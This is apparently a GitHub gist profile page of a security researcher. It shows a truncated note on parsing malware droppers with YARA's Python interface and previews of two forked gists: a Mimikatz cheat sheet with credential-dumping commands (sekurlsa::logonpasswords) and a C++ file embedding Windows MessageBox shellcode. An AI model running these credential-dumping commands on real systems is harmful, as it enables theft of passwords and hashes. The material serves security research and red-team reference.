Skip to content

Instantly share code, notes, and snippets.

View MayerDaniel's full-sized avatar

Daniel Mayer MayerDaniel

  • New Orleans, LA
View GitHub Profile

Using YARA python interface to parse files

I've shared this technique with some people privately, but might as well share it publicly now since I was asked about it. I've been using this for a while now with good success. It works well for parsing .NET droppers and other things.

If you don't know what the -D flag to YARA does I suggest you import a module and run a file through using that flag. It will print, to stdout, everything the module parsed that doesn't involve you calling a function. This is a great way to get a quick idea for the structure of a file.

For example:

wxs@mbp yara % cat always_false.yara
@MayerDaniel
MayerDaniel / Mimikatz-cheatsheet
Last active August 17, 2023 21:44 — forked from insi2304/Mimikatz-cheatsheet
Mimikatz Cheat Sheet
#general
privilege::debug
log
log customlogfilename.log
#sekurlsa - Can get you NTLM hashes and plaintext passwords on older systems with wdigest enabled
sekurlsa::logonpasswords
sekurlsa::logonPasswords full
@MayerDaniel
MayerDaniel / msgbox_shellcode.cpp
Last active October 4, 2023 19:44 — forked from kkent030315/main.cpp
Windows x64 MessageBox Shellcode (434 bytes)
#include <iostream>
#include <Windows.h>
int main()
{
char shellcode[] = "\x48\x83\xEC\x28\x48\x83\xE4\xF0\x48\x8D\x15\x66\x00\x00\x00"
"\x48\x8D\x0D\x52\x00\x00\x00\xE8\x9E\x00\x00\x00\x4C\x8B\xF8"
"\x48\x8D\x0D\x5D\x00\x00\x00\xFF\xD0\x48\x8D\x15\x5F\x00\x00"
"\x00\x48\x8D\x0D\x4D\x00\x00\x00\xE8\x7F\x00\x00\x00\x4D\x33"
"\xC9\x4C\x8D\x05\x61\x00\x00\x00\x48\x8D\x15\x4E\x00\x00\x00"